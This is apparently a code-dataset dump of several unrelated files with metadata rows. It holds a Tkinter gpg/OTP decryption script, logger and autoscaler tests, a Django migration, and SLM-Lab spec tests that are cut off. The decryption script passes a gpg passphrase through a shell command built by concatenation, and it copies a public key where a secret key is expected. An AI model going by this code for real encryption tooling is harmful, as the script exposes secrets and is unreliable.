of zip file in different directory zipObj.extractall("MESSAGE") print("*** Decrypting Message") #delete two + .zip filename = (two + ".zip") os.remove(filename) # copy ct.txt from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( "ct.txt" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("ct.txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # copy two.gpg from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two + ".gpg") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".gpg") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # copy two.sig from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two + ".sig" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".sig") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #pause = (input("hit enter to continue: ")) #os.system('python dec.py') #symfile = ("gpg -o " + two + " -d " + two + ".gpg") os.system('python Dec1.py') temp = subprocess.check_output('python Dec1.py') temp= str(temp) symfile = ("gpg --yes --batch --passphrase=" + temp + " -o " + two + " -d " + two + ".gpg") print(symfile) #pause = (input("hit enter to continue: ")) os.system(symfile) #pause = (input("hit enter to continue: ")) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # python VerifyFile with file signfile = ("python VerifyFile.py " + two + " " + two + ".sig" ) os.system( signfile ) #pause = (input("hit enter to continue: ")) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete ct os.remove("ct.txt") #delete two filename = (two) os.remove(filename) #delete two + .gpg filename = (two + ".gpg") os.remove(filename) #delete two + .sig filename = (two + ".sig") os.remove(filename) two = "keyotp.txt" # copy two + .zip from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two + ".zip" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".zip") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # Create a ZipFile Object and load sample.zip in it with ZipFile(two + ".zip", 'r') as zipObj: # Extract all the contents of zip file in different directory zipObj.extractall("MESSAGE") print("*** Decrypting Message") #delete two + .zip filename = (two + ".zip") os.remove(filename) # copy ct.txt from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( "ct.txt" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("ct.txt") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # copy two.gpg from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two + ".gpg") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".gpg") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # copy two.sig from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two + ".sig" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".sig") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from frodo currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfrodo") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("sk" + one + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #pause = (input("hit enter to continue: ")) #os.system('python dec.py') #symfile = ("gpg -o " + two + " -d " + two + ".gpg") os.system('python Dec1.py') temp = subprocess.check_output('python Dec1.py') temp= str(temp) symfile = ("gpg --yes --batch --passphrase=" + temp + " -o " + two + " -d " + two + ".gpg") print(symfile) #pause = (input("hit enter to continue: ")) os.system(symfile) #pause = (input("hit enter to continue: ")) # delete keys os.remove("pk.txt") os.remove("sk.txt") # copy pk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("pk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # copy sk.txt from falcon currentDirectory = os.path.abspath(os.getcwd()) subdir = ("keysfalcon") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ("pk" + three + ".txt") source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("sk" + ".txt") destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) # python VerifyFile with file signfile = ("python VerifyFile.py " + two + " " + two + ".sig" ) os.system( signfile ) #pause = (input("hit enter to continue: ")) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (two) destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete ct os.remove("ct.txt") #delete two filename = (two) os.remove(filename) #delete two + .gpg filename = (two + ".gpg") os.remove(filename) #delete two + .sig filename = (two + ".sig") os.remove(filename) two = twootp#[:-4] # copy one from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( "keyotp.txt" ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = ("keyotp.txt" ) destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) # copy two from message to current directory currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = ( two ) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (two + ".otp") destination = (os.path.join(currentDirectory, filenamepk)) newpath = shutil.copy(source, destination) print (newpath) os.remove(source) #pause = (input("hit enter to continue: ")) symfile = ("python xordec.py " + two + ".otp" + " keyotp.txt " + twootp[:-4] ) print (symfile) os.system(symfile) # copy two from to message directory currentDirectory = os.path.abspath(os.getcwd()) filenamepk = (twootp[:-4]) source = (os.path.join(currentDirectory, filenamepk)) currentDirectory = os.path.abspath(os.getcwd()) subdir = ("MESSAGE") currentDirectory = (os.path.join(currentDirectory, subdir)) filenamepk = (twootp[:-4]) destination = (os.path.join(currentDirectory, filenamepk)) shutil.copy(source, destination) #delete twootp[:-4] os.remove(twootp[:-4]) #delete two #os.remove(two) #delete .otp os.remove(two + ".otp") #delete keyotp.txt filename = ("keyotp.txt") os.remove(filename) os.execl(sys.executable, sys.executable, *sys.argv) #clear screen #print("\033[H\033[J") myButton = tk.Button(root, text = "EncryptAES256", command=EncryptAES256, fg="blue", bg="orange", borderwidth=13) #myButton.pack() myButton.grid(row=3,column=0) myButton1 = tk.Button(root, text = "EncryptCAMELLIA256", command=EncryptCAMELLIA256, fg="blue", bg="orange", borderwidth=13) #myButton1.pack() myButton1.grid(row=3,column=1) myButton2 = tk.Button(root, text = "Decrypt", command=Decrypt, fg="blue", bg="orange", borderwidth=13) #myButton2.pack() myButton2.grid(row=3,column=2) myButton3 = tk.Button(root, text = "KeyGenFrodo", command=KeyGenFrodo, fg="blue", bg="orange", borderwidth=13) #myButton3.pack() myButton3.grid(row=4,column=0) myButton4 = tk.Button(root, text = "KeyGenFalcon", command=KeyGenFalcon, fg="blue", bg="orange", borderwidth=13) #myButton4.pack() myButton4.grid(row=4,column=1) myButton5 = tk.Button(root, text = "OTPEncryptAES256", command=OTPEncryptAES256, fg="blue", bg="orange", borderwidth=13) #myButton2.pack() myButton5.grid(row=5,column=0) myButton6 = tk.Button(root, text = "OTPEncryptCAMELLIA256", command=OTPEncryptCAMELLIA256, fg="blue", bg="orange", borderwidth=13) #myButton3.pack() myButton6.grid(row=5,column=1) myButton7 = tk.Button(root, text = "OTPDecrypt", command=OTPDecrypt, fg="blue", bg="orange", borderwidth=13) #myButton4.pack() myButton7.grid(row=5,column=2) root.mainloop()
42.399718
131
0.58871
6,193
60,038
5.705797
0.029549
0.064523
0.141952
0.167761
0.964682
0.963267
0.959729
0.959729
0.952938
0.951749
0
0.006689
0.272894
60,038
1,415
132
42.429682
0.802767
0.121706
0
0.949772
0
0
0.075788
0.0004
0
0
0
0
0
1
0.007306
false
0.008219
0.004566
0
0.011872
0.055708
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
a7749b1a235f8c8a9022deea46d9c1c88c385b0c
7,769
py
Python
tests/test_logging.py
ozyildirim/rulecheck
6c3a8ef79abe0e4a6c2af66e60e88794c96e78b1
[ "MIT" ]
1
2021-01-30T17:16:51.000Z
2021-01-30T17:16:51.000Z
tests/test_logging.py
ozyildirim/rulecheck
6c3a8ef79abe0e4a6c2af66e60e88794c96e78b1
[ "MIT" ]
23
2020-06-27T20:07:10.000Z
2020-11-28T21:09:31.000Z
tests/test_logging.py
ozyildirim/rulecheck
6c3a8ef79abe0e4a6c2af66e60e88794c96e78b1
[ "MIT" ]
1
2021-04-26T20:04:39.000Z
2021-04-26T20:04:39.000Z
from rulecheck.engine import Logger from rulecheck import rule #pylint: disable=protected-access def test_tab_size_setting(): logger = Logger() logger.set_tab_size(4) logger.set_show_hash(False) logger.set_warnings_are_errors(False) logger.set_ignore_filter(None) logger.set_verbose(False) assert logger.get_tab_size() == 4 logger = Logger() logger.set_tab_size(6) logger.set_show_hash(False) logger.set_warnings_are_errors(False) logger.set_ignore_filter(None) logger.set_verbose(False) assert logger.get_tab_size() == 6 logger.set_tab_size(3) assert logger.get_tab_size() == 3 def test_warning_and_error_counting(): logger = Logger() logger.set_tab_size(4) logger.set_show_hash(False) logger.set_warnings_are_errors(False) logger.set_ignore_filter(None) logger.set_verbose(False) assert not logger.warnings_are_errors() assert logger.get_warning_count() == 0 assert logger.get_error_count() == 0 logger._increment_warnings() assert logger.get_warning_count() == 1 assert logger.get_error_count() == 0 logger._increment_errors() assert logger.get_warning_count() == 1 assert logger.get_error_count() == 1 logger = Logger() logger.set_tab_size(4) logger.set_show_hash(False) logger.set_warnings_are_errors(True) logger.set_ignore_filter(None) logger.set_verbose(False) assert logger.warnings_are_errors() assert logger.get_warning_count() == 0 assert logger.get_error_count() == 0 logger._increment_warnings() assert logger.get_warning_count() == 0 assert logger.get_error_count() == 1 logger._increment_errors() assert logger.get_warning_count() == 0 assert logger.get_error_count() == 2 logger.set_warnings_are_errors(False) assert not logger.warnings_are_errors() def test_show_hash_setting(): logger = Logger() logger.set_tab_size(4) logger.set_show_hash(False) logger.set_warnings_are_errors(False) logger.set_ignore_filter(None) logger.set_verbose(False) assert not logger.show_hash() logger = Logger() logger.set_tab_size(4) logger.set_show_hash(True) logger.set_warnings_are_errors(False) logger.set_ignore_filter(None) logger.set_verbose(False) assert logger.show_hash() logger.set_show_hash(False) assert not logger.show_hash() def test_log_contains_essential_info(capsys): logger = Logger() logger.set_tab_size(4) logger.set_show_hash(False) logger.set_warnings_are_errors(False) logger.set_ignore_filter(None) logger.set_verbose(False) pos = rule.LogFilePosition(1,1) logger.log_violation(rule.LogType.WARNING, pos, "a message", False, "afilename.txt", "myrulepack.rule20", ["source line 1", "source line 2"]) captured = capsys.readouterr() assert "a message" in captured.out assert "afilename.txt" in captured.out assert "1:1" in captured.out assert "myrulepack.rule20" in captured.out assert "WARNING" in captured.out pos = rule.LogFilePosition(2,1) logger.log_violation(rule.LogType.ERROR, pos, "a message 2", False, "afilename2.txt", "myrulepack.rule21", ["source line 1", "source line 2"]) captured = capsys.readouterr() assert "a message 2" in captured.out assert "afilename2.txt" in captured.out assert "2:1" in captured.out assert "myrulepack.rule21" in captured.out assert "ERROR" in captured.out def test_log_handles_pos_info(capsys): logger = Logger() logger.set_tab_size(4) logger.set_show_hash(False) logger.set_warnings_are_errors(False) logger.set_ignore_filter(None) logger.set_verbose(False) """ Show that line and col number of > 0 is included """ pos = rule.LogFilePosition(1,1) logger.log_violation(rule.LogType.WARNING, pos, "a message", False, "afilename.txt", "myrulepack.ruleC", ["source line 1", "source line 2"]) captured = capsys.readouterr() assert "1:1" in captured.out """ Show that line and col number of > 0 is included """ pos = rule.LogFilePosition(2,5) logger.log_violation(rule.LogType.WARNING, pos, "a message", False, "afilename.txt", "myrulepack.ruleC", ["source line 1", "source line 2"]) captured = capsys.readouterr() assert "2:5" in captured.out """ Show that col not included if <= 0 but line number still is """ pos = rule.LogFilePosition(2,0) logger.log_violation(rule.LogType.WARNING, pos, "a message", False, "afilename.txt", "myrulepack.ruleC", ["source line 1", "source line 2"]) captured = capsys.readouterr() assert ":2:" in captured.out assert "0" not in captured.out pos = rule.LogFilePosition(2,-1) logger.log_violation(rule.LogType.WARNING, pos, "a message", False, "afilename.txt", "myrulepack.ruleC", ["source line 1", "source line 2"]) captured = capsys.readouterr() assert ":2:" in captured.out assert "-1" not in captured.out """ Show that line and col number are not included if they are both <= 0 """ pos = rule.LogFilePosition(0,0) logger.log_violation(rule.LogType.WARNING, pos, "a message", False, "afilename.txt", "myrulepack.ruleC", ["source line 1", "source line 2"]) captured = capsys.readouterr() assert ":0:" not in captured.out def test_log_hash(capsys): # Setup logger to show hash logger = Logger() logger.set_tab_size(4) logger.set_show_hash(True) logger.set_warnings_are_errors(False) logger.set_ignore_filter(None) logger.set_verbose(False) pos = rule.LogFilePosition(1,1) include_white_space = True logger.log_violation(rule.LogType.WARNING, pos, "a message", include_white_space, "afilename.txt", "myrulepack.ruleC", ["a line of text"]) first_log = capsys.readouterr() pos = rule.LogFilePosition(1,1) include_white_space = False logger.log_violation(rule.LogType.WARNING, pos, "a message", include_white_space, "afilename.txt", "myrulepack.ruleC", [" a line of text "]) second_log = capsys.readouterr() assert first_log.out == second_log.out logger.set_show_hash(False) include_white_space = False logger.log_violation(rule.LogType.WARNING, pos, "a message", include_white_space, "afilename.txt", "myrulepack.ruleC", [" a line of text "]) third_log = capsys.readouterr() assert second_log.out != third_log.out def test_pos_line_out_of_range(capsys): # Since the source lines are used for the hash, # setup the logger to show the hash. logger = Logger() logger.set_tab_size(4) logger.set_show_hash(True) logger.set_warnings_are_errors(False) logger.set_ignore_filter(None) logger.set_verbose(False) pos = rule.LogFilePosition(2,1) include_white_space = True logger.log_violation(rule.LogType.WARNING, pos, "a message", include_white_space, "afilename.txt", "myrulepack.ruleC", ["a line of text"]) captured = capsys.readouterr() assert "a message" in captured.out assert "afilename.txt" in captured.out # Still expect reported line number to be shown assert "2:1" in captured.out assert "myrulepack.ruleC" in captured.out assert "WARNING" in captured.out #### TODO: Need to add ignore file list tests, don't forget to check # for error cases (bad handle?)
34.528889
87
0.668683
1,038
7,769
4.797688
0.106936
0.09759
0.05743
0.049598
0.843775
0.81747
0.782329
0.774498
0.734337
0.724297
0
0.015091
0.223838
7,769
224
88
34.683036
0.810779
0.035912
0
0.772727
0
0
0.116002
0
0
0
0
0.004464
0.255682
1
0.039773
false
0
0.011364
0
0.051136
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
38f5ac250a08e906ffa9dc3521d0e148f3a013ae
1,757
py
Python
tests/asgard/workers/autoscaler/test_app_set_to_scale.py
rockerbacon/asgard-api
1c1eb19225ace4bbecb06b65b1b9c4ab131eb24a
[ "MIT" ]
3
2020-01-10T02:16:09.000Z
2020-02-19T18:42:37.000Z
tests/asgard/workers/autoscaler/test_app_set_to_scale.py
b2wdigital/asgard-api
5444d81be33bf4af3c9cf5a2185c16ff10357034
[ "MIT" ]
13
2020-01-15T18:22:35.000Z
2021-03-31T19:21:54.000Z
tests/asgard/workers/autoscaler/test_app_set_to_scale.py
rockerbacon/asgard-api
1c1eb19225ace4bbecb06b65b1b9c4ab131eb24a
[ "MIT" ]
6
2020-03-07T09:49:19.000Z
2021-07-25T03:14:10.000Z
from asynctest import TestCase from asgard.workers.models.scalable_app import ScalableApp class TestAppSetToScale(TestCase): def test_everything_should_be_scaled(self): app = ScalableApp("test_app1", cpu_threshold=0.3, mem_threshold=0.8) set_to_scale = app.is_set_to_scale() set_to_scale_cpu = app.is_set_to_scale_cpu() set_to_scale_mem = app.is_set_to_scale_mem() self.assertEqual(True, set_to_scale) self.assertEqual(True, set_to_scale_cpu) self.assertEqual(True, set_to_scale_mem) def test_only_cpu_should_be_scaled(self): app = ScalableApp("test_app1", cpu_threshold=0.3) set_to_scale = app.is_set_to_scale() set_to_scale_cpu = app.is_set_to_scale_cpu() set_to_scale_mem = app.is_set_to_scale_mem() self.assertEqual(True, set_to_scale) self.assertEqual(True, set_to_scale_cpu) self.assertEqual(False, set_to_scale_mem) def test_only_mem_should_be_scaled(self): app = ScalableApp("test_app1", mem_threshold=0.8) set_to_scale = app.is_set_to_scale() set_to_scale_cpu = app.is_set_to_scale_cpu() set_to_scale_mem = app.is_set_to_scale_mem() self.assertEqual(True, set_to_scale) self.assertEqual(False, set_to_scale_cpu) self.assertEqual(True, set_to_scale_mem) def test_application_should_not_be_scaled_missing_attributes(self): app = ScalableApp("id") set_to_scale = app.is_set_to_scale() set_to_scale_cpu = app.is_set_to_scale_cpu() set_to_scale_mem = app.is_set_to_scale_mem() self.assertEqual(False, set_to_scale) self.assertEqual(False, set_to_scale_cpu) self.assertEqual(False, set_to_scale_mem)
35.14
76
0.718839
271
1,757
4.154982
0.143911
0.159858
0.319716
0.106572
0.825933
0.825933
0.821492
0.808171
0.772647
0.772647
0
0.007807
0.198065
1,757
49
77
35.857143
0.791341
0
0
0.657143
0
0
0.016505
0
0
0
0
0
0.342857
1
0.114286
false
0
0.057143
0
0.2
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
38f67fc199169dcd01cf2cedf7f9c4387ca87a63
2,957
py
Python
src/brouwers/shop/migrations/0002_auto_20180401_1858.py
modelbrouwers/modelbrouwers
e0ba4819bf726d6144c0a648fdd4731cdc098a52
[ "MIT" ]
6
2015-03-03T13:23:07.000Z
2021-12-19T18:12:41.000Z
src/brouwers/shop/migrations/0002_auto_20180401_1858.py
modelbrouwers/modelbrouwers
e0ba4819bf726d6144c0a648fdd4731cdc098a52
[ "MIT" ]
95
2015-02-07T00:55:39.000Z
2022-02-08T20:22:05.000Z
src/brouwers/shop/migrations/0002_auto_20180401_1858.py
modelbrouwers/modelbrouwers
e0ba4819bf726d6144c0a648fdd4731cdc098a52
[ "MIT" ]
2
2016-03-22T16:53:26.000Z
2019-02-09T22:46:04.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.11 on 2018-04-01 16:58 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("shop", "0001_initial"), ] operations = [ migrations.AddField( model_name="category", name="enabled", field=models.BooleanField(default=True, verbose_name="enabled"), ), migrations.AddField( model_name="category", name="enabled_de", field=models.BooleanField(default=True, verbose_name="enabled"), ), migrations.AddField( model_name="category", name="enabled_en", field=models.BooleanField(default=True, verbose_name="enabled"), ), migrations.AddField( model_name="category", name="enabled_nl", field=models.BooleanField(default=True, verbose_name="enabled"), ), migrations.AddField( model_name="category", name="seo_keyword", field=models.CharField( blank=True, max_length=100, null=True, verbose_name="seo keyword" ), ), migrations.AddField( model_name="category", name="seo_keyword_de", field=models.CharField( blank=True, max_length=100, null=True, verbose_name="seo keyword" ), ), migrations.AddField( model_name="category", name="seo_keyword_en", field=models.CharField( blank=True, max_length=100, null=True, verbose_name="seo keyword" ), ), migrations.AddField( model_name="category", name="seo_keyword_nl", field=models.CharField( blank=True, max_length=100, null=True, verbose_name="seo keyword" ), ), migrations.AlterField( model_name="category", name="image", field=models.ImageField( blank=True, upload_to="shop/category/", verbose_name="thumbnail" ), ), migrations.AlterField( model_name="category", name="name", field=models.CharField(max_length=30, verbose_name="name"), ), migrations.AlterField( model_name="category", name="name_de", field=models.CharField(max_length=30, null=True, verbose_name="name"), ), migrations.AlterField( model_name="category", name="name_en", field=models.CharField(max_length=30, null=True, verbose_name="name"), ), migrations.AlterField( model_name="category", name="name_nl", field=models.CharField(max_length=30, null=True, verbose_name="name"), ), ]
32.494505
82
0.549543
281
2,957
5.590747
0.202847
0.074475
0.140675
0.173775
0.825589
0.825589
0.786123
0.728199
0.721833
0.721833
0
0.021277
0.332432
2,957
90
83
32.855556
0.774569
0.023334
0
0.710843
1
0
0.121664
0
0
0
0
0
0
1
0
false
0
0.024096
0
0.060241
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
ac35a14afddaadb572b5999c1d56f365b53b2b82
15,437
py
Python
test/spec/test_spec.py
rhaps0dy/SLM-Lab
32d6d2984a837a8618c59951af6f9bc34c780da0
[ "MIT" ]
1
2021-04-05T22:34:51.000Z
2021-04-05T22:34:51.000Z
test/spec/test_spec.py
rhaps0dy/SLM-Lab
32d6d2984a837a8618c59951af6f9bc34c780da0
[ "MIT" ]
null
null
null
test/spec/test_spec.py
rhaps0dy/SLM-Lab
32d6d2984a837a8618c59951af6f9bc34c780da0
[ "MIT" ]
1
2018-10-07T22:53:02.000Z
2018-10-07T22:53:02.000Z
from flaky import flaky from slm_lab.experiment.control import Trial from slm_lab.experiment.monitor import InfoSpace from slm_lab.lib import util from slm_lab.spec import spec_util import os import pandas as pd import pytest # helper method to run all tests in test_spec def run_trial_test(spec_file, spec_name=False, distributed=False): spec = spec_util.get(spec_file, spec_name) spec = util.override_test_spec(spec) info_space = InfoSpace() info_space.tick('trial') if distributed: spec['meta']['distributed'] = True if os.environ.get('CI') != 'true': # CI has not enough CPU spec['meta']['max_session'] = 2 trial = Trial(spec, info_space) trial_data = trial.run() assert isinstance(trial_data, pd.DataFrame) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('reinforce.json', 'reinforce_mlp_cartpole'), ('reinforce.json', 'reinforce_rnn_cartpole'), # ('reinforce.json', 'reinforce_conv_breakout'), ]) def test_reinforce(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('reinforce.json', 'reinforce_mlp_cartpole'), ('reinforce.json', 'reinforce_rnn_cartpole'), # ('reinforce.json', 'reinforce_conv_breakout'), ]) def test_reinforce_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('reinforce.json', 'reinforce_mlp_pendulum'), ('reinforce.json', 'reinforce_rnn_pendulum'), ]) def test_reinforce_cont(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('reinforce.json', 'reinforce_mlp_pendulum'), ('reinforce.json', 'reinforce_rnn_pendulum'), ]) def test_reinforce_cont_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name, distributed=True) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('a2c.json', 'a2c_mlp_shared_cartpole'), ('a2c.json', 'a2c_mlp_separate_cartpole'), ('a2c.json', 'a2c_rnn_shared_cartpole'), ('a2c.json', 'a2c_rnn_separate_cartpole'), # ('a2c.json', 'a2c_conv_shared_breakout'), # ('a2c.json', 'a2c_conv_separate_breakout'), ]) def test_a2c(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('a3c.json', 'a3c_gae_mlp_shared_cartpole'), ('a3c.json', 'a3c_gae_mlp_separate_cartpole'), ('a3c.json', 'a3c_gae_rnn_shared_cartpole'), ('a3c.json', 'a3c_gae_rnn_separate_cartpole'), # ('a3c.json', 'a3c_gae_conv_shared_breakout'), # ('a3c.json', 'a3c_gae_conv_separate_breakout'), ]) def test_a3c_gae_(spec_file, spec_name): run_trial_test(spec_file, spec_name) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('a2c.json', 'a2c_mlp_shared_pendulum'), ('a2c.json', 'a2c_mlp_separate_pendulum'), ('a2c.json', 'a2c_rnn_shared_pendulum'), ('a2c.json', 'a2c_rnn_separate_pendulum'), ]) def test_a2c_cont(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('a3c.json', 'a3c_gae_mlp_shared_pendulum'), ('a3c.json', 'a3c_gae_mlp_separate_pendulum'), ('a3c.json', 'a3c_gae_rnn_shared_pendulum'), ('a3c.json', 'a3c_gae_rnn_separate_pendulum'), ]) def test_a3c_gae_cont(spec_file, spec_name): run_trial_test(spec_file, spec_name) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('ppo.json', 'ppo_mlp_shared_cartpole'), ('ppo.json', 'ppo_mlp_separate_cartpole'), ('ppo.json', 'ppo_rnn_shared_cartpole'), ('ppo.json', 'ppo_rnn_separate_cartpole'), # ('ppo.json', 'ppo_conv_shared_breakout'), # ('ppo.json', 'ppo_conv_separate_breakout'), ]) def test_ppo(spec_file, spec_name): run_trial_test(spec_file, spec_name) @pytest.mark.skipif(os.environ.get('CI') == 'true', reason="CI process spawning clash") @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('dppo.json', 'dppo_mlp_shared_cartpole'), ('dppo.json', 'dppo_mlp_separate_cartpole'), ('dppo.json', 'dppo_rnn_shared_cartpole'), ('dppo.json', 'dppo_rnn_separate_cartpole'), # ('dppo.json', 'dppo_conv_shared_breakout'), # ('dppo.json', 'dppo_conv_separate_breakout'), ]) def test_dppo_dist(spec_file, spec_name): run_trial_test(spec_file, spec_name) @flaky @pytest.mark.parametrize('spec_file,spec_name', [ ('ppo.json', 'ppo_mlp_shared_pendulum'), ('ppo.json', 'ppo_mlp_separate_pendulum'), ('ppo.json', 'ppo_rnn_shared_pendulum'), ('ppo.json', 